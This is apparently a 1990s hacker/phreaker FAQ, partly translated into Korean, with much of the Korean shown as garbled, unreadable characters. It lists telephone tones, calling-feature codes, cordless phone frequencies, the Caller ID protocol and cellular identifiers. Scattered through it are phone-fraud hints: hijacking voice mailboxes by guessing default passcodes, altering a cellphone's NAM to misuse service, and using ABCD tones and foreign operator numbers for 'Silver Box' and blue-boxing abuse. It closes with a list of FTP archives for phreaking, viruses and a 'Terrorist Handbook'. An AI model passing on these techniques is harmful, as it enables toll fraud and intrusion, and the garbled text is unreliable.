Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---
<* (LASS)ÄÚµå´Â ¸ðµÎ ¹«¾ùÀΰ¡?
Local Area Signal Service(LASS)¿Í Custom Calling
Feature Control Code:
(À̰͵éÀÌ Ç¥ÁØÀ¸·Î »ý°¢µÇ³ª, Áö¿ªÀûÀ¸·Î Â÷ÀÌ°¡ ÀÖÀ» ¼ö ÀÖ´Ù)
(These appear to be standard, but may be changed locally)
Service Tone Pulse/rotary Notes
--------------------------------------------------------------------------
Assistance/Police *12 n/a [1]
Cancel forwarding *30 n/a [C1]
Automatic Forwarding *31 n/a [C1]
Notify *32 n/a [C1] [2]
Intercom Ring 1 (..) *51 1151 [3]
Intercom Ring 2 (.._) *52 1152 [3]
Intercom Ring 3 (._.) *53 1153 [3]
Extension Hold *54 1154 [3]
Customer Originated Trace *57 1157
Selective Call Rejection *60 1160 (or Call Screen)
Selective Distinct Alert *61 1161
Selective Call Acceptance *62 1162
Selective Call Forwarding *63 1163
ICLID Activation *65 1165
Call Return (outgoing) *66 1166
Number Display Blocking *67 1167 [4]
Computer Access Restriction *68 1168
Call Return (incoming) *69 1169
Call Waiting disable *70 1170 [4]
No Answer Call Transfer *71 1171
Usage Sensitive 3 way call *71 1171
Call Forwarding: start *72 or 72# 1172
Call Forwarding: cancel *73 or 73# 1173
Speed Calling (8 numbers) *74 or 74# 1174
Speed Calling (30 numbers) *75 or 75# 1175
Anonymous Call Rejection *77 1177 [5] [M: *58]
Call Screen Disable *80 1180 (or Call Screen) [M: *50]
Selective Distinct Disable *81 1181 [M: *51]
Select. Acceptance Disable *82 1182 [4] [7]
Select. Forwarding Disable *83 1183 [M: *53]
ICLID Disable *85 1185
Call Return (cancel out) *86 1186 [6] [M: *56]
Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
Call Return (cancel in) *89 1189 [6] [M: *59]
Notes:
[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.
The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reassigned
*5x
¹«¼± ÀüÈ°¡ ÀÛµ¿ÇÏ´Â ÁÖÆļö´Â ¹«¾ùÀΰ¡?
1 ¼¼´ë 46/49Mhz ÀüÈÀÇ ÁÖÆļö°¡ ¾Æ·¡¿¡ ÀÖ´Ù.
Channel Handset Transmit Base Transmit
------- ---------------- -------------
1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970
"900Mhz"ÀÇ ½Å¼¼´ë ¹«¼±Àüȱâ´Â 902-228Mhz
»çÀÌÀÇ ÁÖÆļö°¡ ÇÒ´çµÈ´Ù. 30-100KhzÀÇ Ã¤³Î´ç ¿©À¯°¡ ÀÖ´Ù.
----------------------------------------------------------------
Panasonic KX-T9000 (60 Channels)
base 902.100 - 903.870 Base frequencies (30Khz spacing)
handset 926.100 - 927.870 Handset frequencies
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970
31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870
------------------------------------------------------------
V-TECH TROPEZ DX900 (20 CHANNELS)
905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4 HANDSET FREQUENCIES
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
07 906.200 926.100 14 906.900 926.800
------------------------------------------------------------
Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ
------------------------------------------------------------
¹ß½ÅÀÚ ½Äº°ÀÚ(caller-ID)´Â ¹«¾ùÀΰ¡?
This FAQ answer is stolen from Rockwell:
Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.
Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:
Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load
Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.
| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |
Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).
Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.
Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).
Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.
Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:
o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field
If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".
Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.
Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word
Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.
Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.
Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst
Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.
1. The date, time, and calling party's directory number can be
displayed.
2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.
3. CND information can also be used in additional ways such as for:
a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base
References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.
To obtain Bellcore documents contact:
Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800
¹ß½ÅÀÚ ½Äº°ÀÚ´Â ¾î¶»°Ô ¸·À» ¼ö ÀÖ³ª?
Always test as much as possible before relying on any method of blocking
Caller-ID. Some of these methods work in some areas, but not in others.
Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)
PBX´Â Private Branch Exchange(±¸³» ±³È¯±â)ÀÇ ¾à¾îÀÌ´Ù.
PBX´Â ¼ÒÇü ÀüÈ ±³È¯±â·Î ȸ»ç°¡ ±â°üÀÌ ¼ÒÀ¯ÇÑ´Ù. õ¸íÀÇ ÇÇ°í¿ëÀÎÀÌ
Àִ ȸ»ç¸¦ °¡Á¤ÇÏÀÚ. PBX°¡ ¾øÀ» °æ¿ì, 1000°³ÀÇ Àüȼ±ÀÌ ÇÊ¿äÇÏ´Ù.
±×·¸Áö¸¸, 10%Á¤µµÀÇ »ç¶÷¸¸ÀÌ µ¿½Ã¿¡ Àüȸ¦ »ç¿ëÇÑ´Ù°í ÇÏÀÚ. ÇÇ°í¿ëÀÎÀÌ
Àüȸ¦ ÇÒ·Á°í ÇÒ ¶§, ÀÌ¿ë°¡´ÉÇÑ ¿Ü¼±À» ã¾Æ¼ ¿¬°áÇÏ´Â ÄÄÇ»ÅÍ°¡
ÀÖ´Ù¸é ¾î¶³±î? ÀÌ·± Á¾·ùÀÇ ½Ã½ºÅÛÀÌ ÀÖ´Ù¸é Àüȼ± ºñ¿ëÀÇ 10ºÐÀÇ
1¸¸ ºÎ´ãÇÏ¸é µÈ´Ù.
VMB´Â Voicie Mail Box(À½¼º ¸ÞÀÏ ¹Ú½º)ÀÇ ¾àÀÚÀÌ´Ù.
VMB´Â ¼ö½Ê¸¸ÀÇ »ç¿ëÀÚ¿¡ ¼ºñ½º¸¦ ÇÏ´Â ÀÚµ¿ ÀÀ´ä±âÀÌ´Ù. °¢ »ç¿ëÀÚ´Â
ÀÚ½ÅÀÇ À½¼º ¸ÞÀÏ ¹Ú½º¸¦ ÀÌ ½Ã½ºÅÛ ³»¿¡ °¡Áö°Ô µÈ´Ù. °¢ ¸ÞÀÏ ¹Ú½º´Â
¹Ú½º ¹øÈ£¿Í ¾ÏÈ£(passcode)¸¦ °¡Áö°Ô µÈ´Ù.
¾ÏÈ£°¡ ¾øÀÌ VMB ½Ã½ºÅÛ¿¡ À½¼º ¸Þ½ÃÁö¸¦ ³²±æ ¼ö ÀÖ´Ù.
¾ÏÈ£°¡ ÀÖÀ¸¸é, ¸ÞÀϹڽº¸¦ Á¤¸®ÇÏ°í ¸Þ½ÃÁö¸¦ ÀÐÀ» ¼ö ÀÖ´Ù. ¶§¶§·Î,
µðÆúÆ®·Î »ý¼ºµÈ ¸ÞÀϹڽº³ª ´õ ÀÌ»ó »ç¿ëµÇÁö ¾Ê´Â ¸ÞÀϹڽº°¡ ÀÖÀ»
¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ¸ÞÀϹڽº¸¦ ¾ÏÈ£¸¦ ÃßÃøÇÏ¿© Å»ÃëÇÒ ¼ö ÀÖ´Ù. ´ë°³
¾ÏÈ£´Â 1234¿Í °°ÀÌ ÈçÇÑ °ÍÀÌ´Ù.
ABCD À½(tone)Àº DTFM À½¿¡ Ãß°¡ÇÑ °ÍÀÌ´Ù. ABCD À½Àº ¹Ì±¹ ±º»ç ÀüÈ ¸Á(AutoVon)¿¡¼ ÀÌ¿ëµÇ°í, Automatic Call Distributor(ACD)¿¡¼ ÀÌ¿ëµÇ°í, PBXÀÇ Á¦¾î ¸Þ½ÃÁö·Î, ¾Æ¸¶Ãß¾î ¹«¼±ÀÇ ÀÚµ¿ÆÐÄ¡(auto-patch)¿¡¼ »ç¿ëµÈ´Ù.
The ABCD tones are simply additional DTFM tones that may be used in any
way the standard (0-9) tones are used. The ABCD tones are used in the
U.S. military telephone network (AutoVon), in some Automatic Call
Distributor (ACD) systems, for control messages in some PBX systems, and
in some amateur radio auto-patches.
In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:
A - Flash
B - Flash override priority
C - Priority communication
D - Priority override
Using a built-in maintenance mode of the Automatic Call Distributor
(ACD) systems once used by Directory Assistance operators, you could
connect two callers together.
The purpose of the Silver Box is to create the ABCD tones.
See also "What are the DTMF Frequencies?"
±¹Á¦ Á÷Á¢ ¹øÈ£(International Direct Number)¶õ ¹«¾ùÀΰ¡?
The numbers are used so that you may connect to an operator from a
foreign telephone network, without incurring long distance charges.
These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.
Australia (800)682-2878
Austria (800)624-0043
Belgium (800)472-0032
Belize (800)235-1154
Bermuda (800)232-2067
Brazil (800)344-1055
British VI (800)278-6585
Cayman (800)852-3653
Chile (800)552-0056
China (Shanghai) (800)532-4462
Costa Rica (800)252-5114
Denmark (800)762-0045
El Salvador (800)422-2425
Finland (800)232-0358
France (800)537-2623
Germany (800)292-0049
Greece (800)443-5527
Guam (800)367-4826
HK (800)992-2323
Hungary (800)352-9469
Indonesia (800)242-4757
Ireland (800)562-6262
Italy (800)543-7662
Japan (800)543-0051
Korea (800)822-8256
Macau (800)622-2821
Malaysia (800)772-7369
Netherlands (800)432-0031
Norway (800)292-0047
New Zealand (800)248-0064
Panama (800)872-6106
Portugal (800)822-2776
Philippines (800)336-7445
Singapore (800)822-6588
Spain (800)247-7246
Sweden (800)345-0046
Taiwan (800)626-0979
Thailand (800)342-0066
Turkey (800)828-2646
UK (800)445-5667
Uruguay (800)245-8411
Yugoslavia (800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside (800)874-4000 Ext. 107
MTSO¶õ Mobile Telephone Switching Office(À̵¿ ÀüÈ ±³È¯±¹)¸¦ ¸»ÇÑ´Ù. MTSO´Â °³°³ÀÇ ¼¿
ž(cell tower)¸¦ CO(Central Office; Áß¾Ó ±³È¯±¹)À¸·Î
¿¬°áÇÑ´Ù.
MTSO´Â À̵¿ ÀüÈÀÇ »ó´ëÀûÀÎ ½ÅÈ£ Å©±â¸¦ °üÂûÇÏ¿©
°¨µµ°¡ Á¦ÀÏ ÁÁÀº ¼¿Å¸¿ö¿¡¼ ½ÅÈ£¸¦ ¹Þµµ·Ï ÇÑ´Ù.
NAMÀº Number Assignment Module(¹øÈ£ÁöÁ¤ ¸ðµâ)ÀÇ ¾à¾îÀÌ´Ù.
NAMÀº EPROMÀÌ°í MINÀÌÀ̳ª SIDH¿Í °°Àº Á¤º¸¸¦ ´ã°í ÀÖ´Ù. ÀÌ°÷¿¡
ÀúÀåµÈ Á¤º¸¸¦ º¯°æÇÏ¿© ¹«¼± Àüȸ¦ ¿À¿ëÇÒ ¼ö ÀÖ´Ù.
ESNÀº Electronic Serial Number(ÀüÀÚ ½Ã¸®¾ó ¹øÈ£)ÀÇ
¾à¾îÀÌ´Ù. ÀÌ°ÍÀº ¹«¼±ÀüÈÀÇ ½Ã¸®¾ó ¹øÈ£À» ¸»ÇÑ´Ù.
MINÀº Mobile Identification Number(À̵¿ ½Äº° ¹øÈ£)¸¦
¸»ÇÑ´Ù. ÀÌ°ÍÀº À̵¿ ÀüÈÀÇ ÀüȹøÈ£ÀÌ´Ù.
SCMÀº Station Class Mark(±¹ µî±Þ Ç¥½Ã)ÀÇ ¾à¾îÀÌ´Ù.
SCMÀº 3°¡ÁöÀÇ ´Ù¸¥ Á¤º¸¸¦ Æ÷ÇÔÇÏ´Â 4ºñÆ®ÀÇ ¼ýÀÚÀÌ´Ù. À̵¿ ÀüÈ´Â
¼¿ Ÿ¿ö¿¡ ÀÌ Á¤º¸(¿Í ´Ù¸¥ Á¤º¸)¸¦ º¸³½´Ù. ºñÆ® 1Àº ±¸½Ä 666ä³ÎÀ»
»ç¿ëÇÏ´Â À̵¿ÀüÈÀÎÁö ¾Æ´Ï¸é ½Å½Ä 832 ä³ÎÀ» ÀÌ¿ëÇÏ´Â À̵¿ ÀüÈÀÎÁö¸¦
¼¿ Ÿ¿ö¿¡ ¾Ë·ÁÁØ´Ù. 832 ä³Î·Î È®ÀåÀº 1988³â¿¡ ÀÌ·ç¾îÁ³´Ù. ºñÆ®
2´Â À̵¿ÀüÈ°¡ À̵¿¿ë ±â±â(mobild unit)ÀÎÁö ¾Æ´Ï¸é À½¼º ±¸µ¿Çü(voice
activated cellular telephone) À̵¿ÀüÈ ÀÎÁö¸¦ ±¸ºÐÇÑ´Ù. ºñÆ® 3°ú
4´Â ¼¿ Ÿ¿ö¿¡ À̵¿ ÀüÈ°¡ ¼Û½ÅÇÏ´Â Ãâ·ÂÀ» ¾Ë·ÁÁØ´Ù.
SIDH¶õ System Identification for Home System(°¡Á¤¿ë ½Ã½ºÅÛ¿ë ½Ã½ºÅÛ ½Äº°)ÀÇ ¾à¾îÀÌ´Ù. ÀÌ
µ¿ ÀüÈ¿¡ ÀÖ´Â SIDH´Â À̵¿ÀüÈ ½Ã½ºÅÛ¿¡ ¾î´À Áö¿ª¿¡¼
À̵¿Àüȸ¦ ÀÌ¿ëÇÏ°í ÀÖ´ÂÁö ¾Ë·Á ÁØ´Ù. ÀÌ°ÍÀº ·Î¹Ö½Ã(°¡ÀÔÀÚÀÇ À̵¿Àüȸ¦
Á¦°øÇϴ ȸ»ç°¡ ¼ºñ½º ÇÒ ¼ö ¾ø´Â ´Ù¸¥ ȸ»ç°¡ ¼ºñ½º ÇÒ ¼ö ÀÖ´Â
¿µ¿ª¿¡ ÀÖÀ» ¶§)¿¡ ÀÌ¿ëµÈ´Ù.
¾î¶² Áö¿ª¿¡¼µç µÎ °³ÀÇ SIDH °¡ ÀÖ´Ù. Çϳª´Â À¯¼±
¹Ý¼ÛÆÄ(carrier)¸¦ À§ÇÑ °ÍÀÌ°í, ´Ù¸¥ ÇϳªÀº ¹«¼± ¹Ý¼ÛÆĸ¦ À§ÇÑ
°ÍÀÌ´Ù. °°Àº Áö¿ª¿¡¼ ÇÕ¹ýÀûÀ¸·Î ÀÎÁ¤µÈ ¹«¼±ÀüÈ ¼ºñ½º¸¦ Á¦°øÇÒ
¼ö ÀÖ´Â µÎ ȸ»ç°¡ ÀÖÀ» ¼ö ÀÖ´Ù. À¯¼± ¹Ý¼ÛÆÄ´Â Áö¿ª ÀüÈ È¸»çÀÌ°í,
¹«¼± ¹Ý¼ÛÆÄ´Â ´Ù¸¥ ȸ»ç°¡ µÈ´Ù. À¯¼± SIDH ¹Ý¼ÛÆÄ´Â Ç×»ó ¦¼öÀÌ°í
ÀÌ¿¡ ¹ÝÇØ ¹«¼± SIDH ¹Ý¼ÛÆĴ Ȧ¼öÀÌ´Ù. À¯¼º ¹Ý¼ÛÆÄ´Â Side-B ¹Ý¼ÛÆĶó°í
¾Ë·ÁÁ® ÀÖ´Ù. ±×¸®°í ¹«¼± ¹Ý¼ÛÆÄ´Â Side-A ¹Ý¼ÛÆĶó°í ¾Ë·ÁÁ® ÀÖ´Ù.
ÁøÇà/¹ÝÀü(forward/reverse) ä³ÎÀ̶õ?
Æ÷¿öµå ä³ÎÀ̶õ ¼¿ Ÿ¿ö°¡ À̵¿ÀüÈ¿¡°Ô º¸³»´Â ÁÖÆļöÀÌ´Ù.
¸®¹ö½º(reverse) ä³ÎÀ̶õ À̵¿ ÀüÈ°¡ ¼¿ Ÿ¿ö¿¡°Ô º¸³»´Â ÁÖÆļöÀÌ´Ù.
Æ÷¿öµå ä³ÎÀº ´ë°³ ¸®¹ö½º ä³Î¿¡ ºñÇØ 45Mhz ³ô´Ù.
¿¹¸¦ µé¾î ¸®¹ö½º ä³ÎÀÌ 824Mhz¶ó¸é Æ÷¿öµå ä³ÎÀº 869Mhz°¡ µÈ´Ù.
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ftp »çÀÌÆ®´Â ¹«¾ùÀΰ¡?
N 204.215.84.2 /pub/dmackey
2600.com (2600 Magazine)
aeneas.mit.edu (Kerberos)
alex.sp.cs.cmu.edu /links/security (Misc)
asylum.sf.ca.us (CyberWarriors of Xanadu)
N atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)
athena-dist.mit.edu /pub/ATHENA (Athena Project)
atlantis.utmb.edu (Anti-virus)
bellcore.com (Bellcore)
cert.org (CERT)
ciac.llnl.gov (CIAC)
clark.net /pub/jcase (H/P)
cnit.nsk.su /pub/security (Security)
coast.cs.purdue.edu /pub (Security/COAST)
coombs.anu.edu.au /pub/security (Security)
csrc.ncsl.nist.gov (NIST Security)
dartmouth.edu /pub/security (Security)
ds.internic.net (Internet documents)
N dutiws.twi.tudelft.nl /pub/novell
etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)
N fastlane.net /pub/nomad
ftp.3com.com /pub/Orange-Book (Orange Book)
ftp.acns.nwu.edu /pub (Mac Anti-virus)
ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)
ftp.alantec.com /pub/tcpr (Tcpr)
ftp.armory.com /pub/user/kmartind (H/P)
ftp.armory.com /pub/user/swallow (H/P)
ftp.auscert.org.au /pub (Australian CERT)
ftp.cerf.net /pub/software/unix/security (CERFnet)
ftp.cert.dfn.de (FIRST)
ftp.cisco.com (Cisco)
ftp.commerce.net /pub/standards/drafts/shttp.txt (Secure HyperText)
ftp.cs.colorado.edu
ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)
ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
ftp.cs.vu.nl
ftp.cs.yale.edu
ftp.csi.forth.gr /pub/security
ftp.csl.sri.com /pub/nides (SRI)
ftp.csn.org /mpj (Cryptology)
ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)
ftp.delmarva.com
N ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers)
ftp.denet.dk /pub/security/tools/satan
ftp.digex.net /pub/access/dunk
ftp.dsi.unimi.it /pub/security/crypt (Crypto)
ftp.dstc.edu.au /pub/security/satan
ftp.ee.lbl.gov
ftp.eff.org /pub/Publications/CuD (EFF)
ftp.elelab.nsc.co.jp /pub/security (Security)
ftp.etext.org (Etext)
ftp.fc.net /pub/deadkat (TNO)
ftp.fc.net /pub/defcon (DefCon)
ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
ftp.fc.net /pub/phrack (Phrack)
ftp.foobar.com
ftp.funet.fi /pub/doc/CuD
ftp.gate.net /pub/users/laura
ftp.gate.net /pub/users/wakko
ftp.giga.or.at /pub/hacker/ (H/P)
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.IEunet.ie /pub/security (Security)
ftp.ifi.uio.no
ftp.indirect.com /www/evildawg/public_access/C&N/
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com /pub/security (Security)
ftp.isi.edu
ftp.lava.net /users/oracle/ (H/P
N ftp.leo.org/pub/com/os/os2/crypt
ftp.lerc.nasa.gov /security
ftp.llnl.gov /pub (CIAC)
ftp.luth.se /pub/unix/security
ftp.lysator.liu.se
ftp.mcs.anl.gov /pub/security
ftp.microserve.net /ppp-pop/strata/mac (Mac)
ftp.near.net /security/archives/phrack (Zines)
ftp.nec.com
ftp.net.ohio-state.edu /pub/security/satan
ftp.netcom.com /pub/br/bradleym (Virii)
ftp.netcom.com /pub/da/daemon9 (H/P)
ftp.netcom.com /pub/fi/filbert
N ftp.netcom.com /pub/gr/grady
N ftp.netcom.com /pub/il/illusion (H/P+Virus)
N ftp.netcom.com /pub/je/jericho (H/P)
ftp.netcom.com /pub/le/lewiz (Social Engineering)
N ftp.netcom.com /pub/ty/tym (TYM)
ftp.netcom.com /pub/va/vandal (DnA)
ftp.netcom.com /pub/wt/wtech/
N ftp.netcom.com /pub/zi/zigweed (H/P)
ftp.netcom.com /pub/zz/zzyzx (H/P)
ftp.netsys.com
ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
ftp.ox.ac.uk /pub/comp/security
ftp.ox.ac.uk /pub/crypto (Cryptology)
ftp.ox.ac.uk /pub/wordlists (Wordlists)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
N ftp.pipex.net /pub/areacode (uk areacodes)
ftp.pop.psu.edu
ftp.primenet.com /users/i/insphrk
ftp.primenet.com /users/k/kludge (H/P)
ftp.primenet.com /users/s/scuzzy (Copy Protection)
ftp.primus.com /pub/security (Security)
ftp.psy.uq.oz.au
ftp.psy.uq.oz.au /pub/DES
ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net /pub/lps (Home of the FAQ)
ftp.sert.edu.au
ftp.sgi.com
N ftp.smartlink.net /pub/users/mikes/haq
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
ftp.std.com /obi/Phracks (Zines)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
ftp.technet.sg
U ftp.technion.ac.il
ftp.tis.com /pub (TIS)
ftp.tisl.ukans.edu /pub/security
ftp.uni-koeln.de (Wordlists)
ftp.uspto.gov
ftp.uu.net /doc/literary/obi/Phracks (Zines)
ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection)
ftp.vis.colostate.edu
ftp.vix.com
ftp.vortex.com
ftp.warwick.ac.uk /pub/cud (Zines)
ftp.wi.leidenuniv.nl /pub/security
ftp.win.tue.nl /pub/security (Security)
ftp.winternet.com /users/nitehwk (H/P)
ftp.wustl.edu /doc/EFF (EFF)
ftp.zoom.com
ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology)
garbo.uwasa.fi /pc/crypt (Cryptology)
N gemini.tuc.noao.edu /pub/grandi
gti.net /pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu (Down for Summer)
heffer.lab.csuchico.edu (Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
N infonexus.com /pub (The Guild)
jerico.usc.edu
l0pht.com (The L0pht)
lcs.mit.edu /telecom-archives (Telecom archives)
lod.com (Legion of Doom)
mac.archive.umich.edu
mary.iia.org /pub/users/patriot (Misc)
monet.ccs.itd.umich.edu
N net-dist.mit.edu /pub/pgp
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
nic.sura.net /pub/security
oak.oakland.edu /pub/hamradio (Ham Radio)
oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)
parcftp.xerox.com
prism.nmt.edu /pub/misc (Terrorist Handbook)
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
N rmii.com /pub2/KRaD (KRaD Magazine)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
scss3.cl.msu.edu /pub/crypt (Cryptology)
N sgigate.sgi.com /Security (SGI Security)
sierra.stanford.edu
spy.org (CSC)
N src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives)
suburbia.apana.org.au /pub/unix/security (Security)
sunsolve1.sun.com
